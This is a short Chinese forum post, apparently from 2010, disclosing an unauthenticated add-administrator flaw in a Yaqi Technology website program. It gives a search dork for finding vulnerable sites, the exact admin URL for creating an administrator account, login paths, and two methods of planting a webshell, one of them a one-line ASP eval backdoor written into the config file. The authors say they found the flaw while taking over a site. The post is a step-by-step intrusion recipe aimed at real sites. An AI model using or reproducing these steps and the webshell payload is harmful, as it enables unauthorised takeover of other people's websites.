雅琦科技程序 任意添加管理员0day
发布日期：2010-06.19发布作者：Sniff3r & lan3a
影响版本：未知
漏洞描述： 网站后台缺少验证可远程添加管理员用户并登录后台。
这个程序是Sniff3r提出拿一个站的时候发现的。
关键字：inurl:ShowInfo.asp?ShowId=
找到网站后然后在网站地址后加上：admin/User_Manage.asp?action=UserAdd
进去添加一个管理员，然后用添加的账户登录。
/admin/Yqlogin.asp
/admin/admin_main.asp
后台拿Webshell有2个方法。
1.在上传目录那里 添加1.asp，利用IIS的解析漏洞。
2.在上传目录那里 写上
"%><%eval request("a")%><%'
然后访问配置文件 inc/config.asp
页:
[1]